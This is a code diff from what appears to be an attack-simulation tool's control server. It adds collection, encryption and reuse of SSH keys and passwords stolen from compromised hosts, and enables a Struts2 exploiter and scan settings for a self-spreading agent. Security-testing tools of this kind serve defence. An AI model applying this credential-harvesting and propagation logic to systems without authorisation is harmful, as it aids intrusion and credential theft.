import flask_restful
|
import flask_restful
|
||||||
from flask import request, make_response, jsonify
|
from flask import request, make_response, jsonify
|
||||||
|
@ -12,10 +13,11 @@ from cc.utils import local_ip_addresses
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class Root(flask_restful.Resource):
|
class Root(flask_restful.Resource):
|
||||||
|
|
||||||
@jwt_required()
|
|
||||||
def get(self, action=None):
|
def get(self, action=None):
|
||||||
if not action:
|
if not action:
|
||||||
action = request.args.get('action')
|
action = request.args.get('action')
|
||||||
|
@ -26,31 +28,42 @@ class Root(flask_restful.Resource):
|
||||||
return Root.reset_db()
|
return Root.reset_db()
|
||||||
elif action == "killall":
|
elif action == "killall":
|
||||||
return Root.kill_all()
|
return Root.kill_all()
|
||||||
|
elif action == "is-up":
|
||||||
|
return {'is-up': True}
|
||||||
else:
|
else:
|
||||||
return make_response(400, {'error': 'unknown action'})
|
return make_response(400, {'error': 'unknown action'})
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def get_server_info():
|
def get_server_info():
|
||||||
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
||||||
completed_steps=Root.get_completed_steps())
|
completed_steps=Root.get_completed_steps())
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def reset_db():
|
def reset_db():
|
||||||
# We can't drop system collections.
|
# We can't drop system collections.
|
||||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||||
ConfigService.init_config()
|
ConfigService.init_config()
|
||||||
|
logger.info('DB was reset')
|
||||||
return jsonify(status='OK')
|
return jsonify(status='OK')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def kill_all():
|
def kill_all():
|
||||||
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
|
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
|
||||||
upsert=False,
|
upsert=False,
|
||||||
multi=True)
|
multi=True)
|
||||||
|
logger.info('Kill all monkeys was called')
|
||||||
return jsonify(status='OK')
|
return jsonify(status='OK')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def get_completed_steps():
|
def get_completed_steps():
|
||||||
is_any_exists = NodeService.is_any_monkey_exists()
|
is_any_exists = NodeService.is_any_monkey_exists()
|
||||||
infection_done = NodeService.is_monkey_finished_running()
|
infection_done = NodeService.is_monkey_finished_running()
|
||||||
report_done = ReportService.is_report_generated()
|
if not infection_done:
|
||||||
|
report_done = False
|
||||||
|
else:
|
||||||
|
report_done = ReportService.is_report_generated()
|
||||||
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)
|
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)
|
||||||
|
|
|
@ -17,7 +17,8 @@ from cc.encryptor import encryptor
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class Telemetry(flask_restful.Resource):
|
class Telemetry(flask_restful.Resource):
|
||||||
|
@ -55,10 +56,9 @@ class Telemetry(flask_restful.Resource):
|
||||||
if telem_type in TELEM_PROCESS_DICT:
|
if telem_type in TELEM_PROCESS_DICT:
|
||||||
TELEM_PROCESS_DICT[telem_type](telemetry_json)
|
TELEM_PROCESS_DICT[telem_type](telemetry_json)
|
||||||
else:
|
else:
|
||||||
print('Got unknown type of telemetry: %s' % telem_type)
|
logger.info('Got unknown type of telemetry: %s' % telem_type)
|
||||||
except StandardError as ex:
|
except Exception as ex:
|
||||||
print("Exception caught while processing telemetry: %s" % str(ex))
|
logger.error("Exception caught while processing telemetry", exc_info=True)
|
||||||
traceback.print_exc()
|
|
||||||
|
|
||||||
telem_id = mongo.db.telemetry.insert(telemetry_json)
|
telem_id = mongo.db.telemetry.insert(telemetry_json)
|
||||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||||
|
@ -133,7 +133,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
for attempt in telemetry_json['data']['attempts']:
|
for attempt in telemetry_json['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
found_creds = {'user': attempt['user']}
|
found_creds = {'user': attempt['user']}
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
|
||||||
if len(attempt[field]) != 0:
|
if len(attempt[field]) != 0:
|
||||||
found_creds[field] = attempt[field]
|
found_creds[field] = attempt[field]
|
||||||
NodeService.add_credentials_to_node(edge['to'], found_creds)
|
NodeService.add_credentials_to_node(edge['to'], found_creds)
|
||||||
|
@ -170,16 +170,23 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_system_info_telemetry(telemetry_json):
|
def process_system_info_telemetry(telemetry_json):
|
||||||
LOG.debug("Processing system info telemtery for encryption...")
|
if 'ssh_info' in telemetry_json['data']:
|
||||||
|
ssh_info = telemetry_json['data']['ssh_info']
|
||||||
|
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
|
||||||
|
if telemetry_json['data']['network_info']['networks']:
|
||||||
|
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
|
||||||
|
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
|
||||||
|
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
|
||||||
if 'credentials' in telemetry_json['data']:
|
if 'credentials' in telemetry_json['data']:
|
||||||
LOG.debug("Encrypting telemetry credentials...")
|
|
||||||
creds = telemetry_json['data']['credentials']
|
creds = telemetry_json['data']['credentials']
|
||||||
Telemetry.encrypt_system_info_creds(creds)
|
Telemetry.encrypt_system_info_creds(creds)
|
||||||
Telemetry.add_system_info_creds_to_config(creds)
|
Telemetry.add_system_info_creds_to_config(creds)
|
||||||
Telemetry.replace_user_dot_with_comma(creds)
|
Telemetry.replace_user_dot_with_comma(creds)
|
||||||
|
|
||||||
LOG.debug("Done enrypting")
|
@staticmethod
|
||||||
|
def add_ip_to_ssh_keys(ip, ssh_info):
|
||||||
|
for key in ssh_info:
|
||||||
|
key['ip'] = ip['addr']
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_trace_telemetry(telemetry_json):
|
def process_trace_telemetry(telemetry_json):
|
||||||
|
@ -198,7 +205,15 @@ class Telemetry(flask_restful.Resource):
|
||||||
for user in creds:
|
for user in creds:
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||||
if field in creds[user]:
|
if field in creds[user]:
|
||||||
creds[user][field] = encryptor.enc(creds[user][field])
|
# this encoding is because we might run into passwords which are not pure ASCII
|
||||||
|
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def encrypt_system_info_ssh_keys(ssh_info):
|
||||||
|
for idx, user in enumerate(ssh_info):
|
||||||
|
for field in ['public_key', 'private_key', 'known_hosts']:
|
||||||
|
if ssh_info[idx][field]:
|
||||||
|
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_system_info_creds_to_config(creds):
|
def add_system_info_creds_to_config(creds):
|
||||||
|
@ -211,6 +226,15 @@ class Telemetry(flask_restful.Resource):
|
||||||
if 'ntlm_hash' in creds[user]:
|
if 'ntlm_hash' in creds[user]:
|
||||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_system_info_ssh_keys_to_config(ssh_info):
|
||||||
|
for user in ssh_info:
|
||||||
|
ConfigService.creds_add_username(user['name'])
|
||||||
|
# Public key is useless without private key
|
||||||
|
if user['public_key'] and user['private_key']:
|
||||||
|
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
|
||||||
|
user['name'], user['ip'])
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def encrypt_exploit_creds(telemetry_json):
|
def encrypt_exploit_creds(telemetry_json):
|
||||||
attempts = telemetry_json['data']['attempts']
|
attempts = telemetry_json['data']['attempts']
|
||||||
|
@ -218,7 +242,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||||
credential = attempts[i][field]
|
credential = attempts[i][field]
|
||||||
if len(credential) > 0:
|
if len(credential) > 0:
|
||||||
attempts[i][field] = encryptor.enc(credential)
|
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||||
|
|
||||||
|
|
||||||
TELEM_PROCESS_DICT = \
|
TELEM_PROCESS_DICT = \
|
||||||
|
|
|
@ -1,7 +1,9 @@
|
||||||
import copy
|
import copy
|
||||||
import collections
|
import collections
|
||||||
import functools
|
import functools
|
||||||
|
import logging
|
||||||
from jsonschema import Draft4Validator, validators
|
from jsonschema import Draft4Validator, validators
|
||||||
|
from six import string_types
|
||||||
|
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
from cc.encryptor import encryptor
|
from cc.encryptor import encryptor
|
||||||
|
@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses
|
||||||
|
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
WARNING_SIGN = u" \u26A0"
|
WARNING_SIGN = u" \u26A0"
|
||||||
|
|
||||||
SCHEMA = {
|
SCHEMA = {
|
||||||
|
@ -76,6 +80,13 @@ SCHEMA = {
|
||||||
],
|
],
|
||||||
"title": "ElasticGroovy Exploiter"
|
"title": "ElasticGroovy Exploiter"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Struts2Exploiter"
|
||||||
|
],
|
||||||
|
"title": "Struts2 Exploiter"
|
||||||
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"finger_classes": {
|
"finger_classes": {
|
||||||
|
@ -117,6 +128,14 @@ SCHEMA = {
|
||||||
],
|
],
|
||||||
"title": "MySQLFinger"
|
"title": "MySQLFinger"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MSSQLFinger"
|
||||||
|
],
|
||||||
|
"title": "MSSQLFinger"
|
||||||
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": [
|
"enum": [
|
||||||
|
@ -202,32 +221,9 @@ SCHEMA = {
|
||||||
"Amount of hops allowed for the monkey to spread from the island. "
|
"Amount of hops allowed for the monkey to spread from the island. "
|
||||||
+ WARNING_SIGN
|
+ WARNING_SIGN
|
||||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network_range": {
|
|
||||||
"title": "Network range",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"range_class": {
|
|
||||||
"title": "Range class",
|
|
||||||
"type": "string",
|
|
||||||
"default": "FixedRange",
|
|
||||||
"enum": [
|
|
||||||
"FixedRange",
|
|
||||||
"ClassCRange"
|
|
||||||
],
|
|
||||||
"enumNames": [
|
|
||||||
"Fixed Range",
|
|
||||||
"Class C Range"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Determines which class to use to determine scan range."
|
|
||||||
" Fixed Range will scan only specific IPs listed under Fixed range IP list."
|
|
||||||
" Class C Range will scan machines in the Class C network the monkey's on."
|
|
||||||
},
|
},
|
||||||
"range_fixed": {
|
"subnet_scan_list": {
|
||||||
"title": "Fixed range IP list",
|
"title": "Scan IP/subnet list",
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"uniqueItems": True,
|
"uniqueItems": True,
|
||||||
"items": {
|
"items": {
|
||||||
|
@ -236,8 +232,8 @@ SCHEMA = {
|
||||||
"default": [
|
"default": [
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"List of IPs to include when using FixedRange"
|
"List of IPs/subnets the monkey should scan."
|
||||||
" (Only relevant for Fixed Range)"
|
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -386,6 +382,7 @@ SCHEMA = {
|
||||||
"PingScanner",
|
"PingScanner",
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"MySQLFinger",
|
"MySQLFinger",
|
||||||
|
"MSSQLFinger",
|
||||||
"ElasticFinger"
|
"ElasticFinger"
|
||||||
],
|
],
|
||||||
"description": "Determines which classes to use for fingerprinting"
|
"description": "Determines which classes to use for fingerprinting"
|
||||||
|
@ -444,11 +441,19 @@ SCHEMA = {
|
||||||
"default": "/tmp/monkey",
|
"default": "/tmp/monkey",
|
||||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||||
},
|
},
|
||||||
"dropper_target_path": {
|
"dropper_target_path_win_32": {
|
||||||
"title": "Dropper target path on Windows",
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey.exe",
|
"default": "C:\\Windows\\monkey32.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine"
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(32bit)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_64": {
|
||||||
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey64.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(64 bit)"
|
||||||
},
|
},
|
||||||
"dropper_try_move_first": {
|
"dropper_try_move_first": {
|
||||||
"title": "Try to move first",
|
"title": "Try to move first",
|
||||||
|
@ -519,6 +524,16 @@ SCHEMA = {
|
||||||
},
|
},
|
||||||
"default": [],
|
"default": [],
|
||||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ssh_keys": {
|
||||||
|
"title": "SSH key pairs list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"default": [],
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -560,7 +575,7 @@ SCHEMA = {
|
||||||
"type": "string"
|
"type": "string"
|
||||||
},
|
},
|
||||||
"default": [
|
"default": [
|
||||||
"41.50.73.31:5000"
|
"192.0.2.0:5000"
|
||||||
],
|
],
|
||||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||||
},
|
},
|
||||||
|
@ -582,7 +597,7 @@ SCHEMA = {
|
||||||
"current_server": {
|
"current_server": {
|
||||||
"title": "Current server",
|
"title": "Current server",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "41.50.73.31:5000",
|
"default": "192.0.2.0:5000",
|
||||||
"description": "The current command server the monkey is communicating with"
|
"description": "The current command server the monkey is communicating with"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -610,7 +625,8 @@ SCHEMA = {
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter"
|
"ElasticGroovyExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
@ -815,7 +831,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
[
|
[
|
||||||
['basic', 'credentials', 'exploit_password_list'],
|
['basic', 'credentials', 'exploit_password_list'],
|
||||||
['internal', 'exploits', 'exploit_lm_hash_list'],
|
['internal', 'exploits', 'exploit_lm_hash_list'],
|
||||||
['internal', 'exploits', 'exploit_ntlm_hash_list']
|
['internal', 'exploits', 'exploit_ntlm_hash_list'],
|
||||||
|
['internal', 'exploits', 'exploit_ssh_keys']
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@ -903,11 +920,24 @@ class ConfigService:
|
||||||
def creds_add_ntlm_hash(ntlm_hash):
|
def creds_add_ntlm_hash(ntlm_hash):
|
||||||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ssh_add_keys(public_key, private_key, user, ip):
|
||||||
|
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
|
||||||
|
False, False), user, ip):
|
||||||
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
|
||||||
|
{"public_key": public_key, "private_key": private_key,
|
||||||
|
"user": user, "ip": ip})
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ssh_key_exists(keys, user, ip):
|
||||||
|
return [key for key in keys if key['user'] == user and key['ip'] == ip]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json, should_encrypt):
|
def update_config(config_json, should_encrypt):
|
||||||
if should_encrypt:
|
if should_encrypt:
|
||||||
ConfigService.encrypt_config(config_json)
|
ConfigService.encrypt_config(config_json)
|
||||||
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||||
|
logger.info('monkey config was updated')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def init_default_config():
|
def init_default_config():
|
||||||
|
@ -923,6 +953,7 @@ class ConfigService:
|
||||||
config = copy.deepcopy(ConfigService.default_config)
|
config = copy.deepcopy(ConfigService.default_config)
|
||||||
if should_encrypt:
|
if should_encrypt:
|
||||||
ConfigService.encrypt_config(config)
|
ConfigService.encrypt_config(config)
|
||||||
|
logger.info("Default config was called")
|
||||||
return config
|
return config
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -936,6 +967,7 @@ class ConfigService:
|
||||||
config = ConfigService.get_default_config(True)
|
config = ConfigService.get_default_config(True)
|
||||||
ConfigService.set_server_ips_in_config(config)
|
ConfigService.set_server_ips_in_config(config)
|
||||||
ConfigService.update_config(config, should_encrypt=False)
|
ConfigService.update_config(config, should_encrypt=False)
|
||||||
|
logger.info('Monkey config reset was called')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def set_server_ips_in_config(config):
|
def set_server_ips_in_config(config):
|
||||||
|
@ -952,6 +984,7 @@ class ConfigService:
|
||||||
initial_config['name'] = 'initial'
|
initial_config['name'] = 'initial'
|
||||||
initial_config.pop('_id')
|
initial_config.pop('_id')
|
||||||
mongo.db.config.insert(initial_config)
|
mongo.db.config.insert(initial_config)
|
||||||
|
logger.info('Monkey config was inserted to mongo and saved')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _extend_config_with_default(validator_class):
|
def _extend_config_with_default(validator_class):
|
||||||
|
@ -993,8 +1026,12 @@ class ConfigService:
|
||||||
"""
|
"""
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||||
for key in keys:
|
for key in keys:
|
||||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
||||||
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
# Check if we are decrypting ssh key pair
|
||||||
|
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
|
||||||
|
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
|
||||||
|
else:
|
||||||
|
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
||||||
else:
|
else:
|
||||||
flat_config[key] = encryptor.dec(flat_config[key])
|
flat_config[key] = encryptor.dec(flat_config[key])
|
||||||
return flat_config
|
return flat_config
|
||||||
|
@ -1007,4 +1044,19 @@ class ConfigService:
|
||||||
config_arr = config_arr[config_key_part]
|
config_arr = config_arr[config_key_part]
|
||||||
|
|
||||||
for i in range(len(config_arr)):
|
for i in range(len(config_arr)):
|
||||||
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
# Check if array of shh key pairs and then decrypt
|
||||||
|
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
||||||
|
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
||||||
|
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
||||||
|
else:
|
||||||
|
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def decrypt_ssh_key_pair(pair, encrypt=False):
|
||||||
|
if encrypt:
|
||||||
|
pair['public_key'] = encryptor.enc(pair['public_key'])
|
||||||
|
pair['private_key'] = encryptor.enc(pair['private_key'])
|
||||||
|
else:
|
||||||
|
pair['public_key'] = encryptor.dec(pair['public_key'])
|
||||||
|
pair['private_key'] = encryptor.dec(pair['private_key'])
|
||||||
|
return pair
|
||||||
|
|
|
@ -0,0 +1,32 @@
|
||||||
|
import logging
|
||||||
|
__author__ = "Maor.Rayzin"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class IslandLogService:
|
||||||
|
def __init__(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_log_file():
|
||||||
|
"""
|
||||||
|
This static function is a helper function for the monkey island log download function.
|
||||||
|
It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
|
||||||
|
has the property handler.baseFilename.
|
||||||
|
:return:
|
||||||
|
a dict with the log file content.
|
||||||
|
"""
|
||||||
|
logger_handlers = logger.parent.handlers
|
||||||
|
for handler in logger_handlers:
|
||||||
|
if hasattr(handler, 'baseFilename'):
|
||||||
|
logger.info('Log file found: {0}'.format(handler.baseFilename))
|
||||||
|
log_file_path = handler.baseFilename
|
||||||
|
with open(log_file_path, 'rt') as f:
|
||||||
|
log_file = f.read()
|
||||||
|
return {
|
||||||
|
'log_file': log_file
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning('No log file could be found, check logger config.')
|
||||||
|
return None
|
|
@ -1,6 +1,9 @@
|
||||||
import ipaddress
|
import ipaddress
|
||||||
|
import logging
|
||||||
from enum import Enum
|
from enum import Enum
|
||||||
|
|
||||||
|
from six import text_type
|
||||||
|
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
|
@ -10,6 +13,9 @@ from cc.utils import local_ip_addresses, get_subnets
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class ReportService:
|
class ReportService:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
@ -24,6 +30,7 @@ class ReportService:
|
||||||
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
||||||
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
||||||
'ShellShockExploiter': 'ShellShock Exploiter',
|
'ShellShockExploiter': 'ShellShock Exploiter',
|
||||||
|
'Struts2Exploiter': 'Struts2 Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -34,6 +41,8 @@ class ReportService:
|
||||||
SHELLSHOCK = 4
|
SHELLSHOCK = 4
|
||||||
CONFICKER = 5
|
CONFICKER = 5
|
||||||
AZURE = 6
|
AZURE = 6
|
||||||
|
STOLEN_SSH_KEYS = 7
|
||||||
|
STRUTS2 = 8
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -77,6 +86,8 @@ class ReportService:
|
||||||
creds = ReportService.get_azure_creds()
|
creds = ReportService.get_azure_creds()
|
||||||
machines = set([instance['origin'] for instance in creds])
|
machines = set([instance['origin'] for instance in creds])
|
||||||
|
|
||||||
|
logger.info('Azure issues generated for reporting')
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
'type': 'azure_password',
|
'type': 'azure_password',
|
||||||
|
@ -103,6 +114,8 @@ class ReportService:
|
||||||
}
|
}
|
||||||
for node in nodes]
|
for node in nodes]
|
||||||
|
|
||||||
|
logger.info('Scanned nodes generated for reporting')
|
||||||
|
|
||||||
return nodes
|
return nodes
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -124,6 +137,8 @@ class ReportService:
|
||||||
}
|
}
|
||||||
for monkey in exploited]
|
for monkey in exploited]
|
||||||
|
|
||||||
|
logger.info('Exploited nodes generated for reporting')
|
||||||
|
|
||||||
return exploited
|
return exploited
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -147,6 +162,28 @@ class ReportService:
|
||||||
'origin': origin
|
'origin': origin
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
logger.info('Stolen creds generated for reporting')
|
||||||
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_keys():
|
||||||
|
"""
|
||||||
|
Return private ssh keys found as credentials
|
||||||
|
:return: List of credentials
|
||||||
|
"""
|
||||||
|
creds = []
|
||||||
|
for telem in mongo.db.telemetry.find(
|
||||||
|
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
|
||||||
|
{'data.ssh_info': 1, 'monkey_guid': 1}
|
||||||
|
):
|
||||||
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
|
if telem['data']['ssh_info']:
|
||||||
|
# Pick out all ssh keys not yet included in creds
|
||||||
|
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||||
|
'origin': origin} for key_pair in telem['data']['ssh_info']
|
||||||
|
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||||
|
'origin': origin} not in creds]
|
||||||
|
creds.extend(ssh_keys)
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -167,6 +204,8 @@ class ReportService:
|
||||||
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
|
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
|
||||||
'origin': origin} for user in azure_users]
|
'origin': origin} for user in azure_users]
|
||||||
creds.extend(azure_leaked_users)
|
creds.extend(azure_leaked_users)
|
||||||
|
|
||||||
|
logger.info('Azure machines creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -182,9 +221,12 @@ class ReportService:
|
||||||
for attempt in exploit['data']['attempts']:
|
for attempt in exploit['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
processed_exploit['username'] = attempt['user']
|
processed_exploit['username'] = attempt['user']
|
||||||
if len(attempt['password']) > 0:
|
if attempt['password']:
|
||||||
processed_exploit['type'] = 'password'
|
processed_exploit['type'] = 'password'
|
||||||
processed_exploit['password'] = attempt['password']
|
processed_exploit['password'] = attempt['password']
|
||||||
|
elif attempt['ssh_key']:
|
||||||
|
processed_exploit['type'] = 'ssh_key'
|
||||||
|
processed_exploit['ssh_key'] = attempt['ssh_key']
|
||||||
else:
|
else:
|
||||||
processed_exploit['type'] = 'hash'
|
processed_exploit['type'] = 'hash'
|
||||||
return processed_exploit
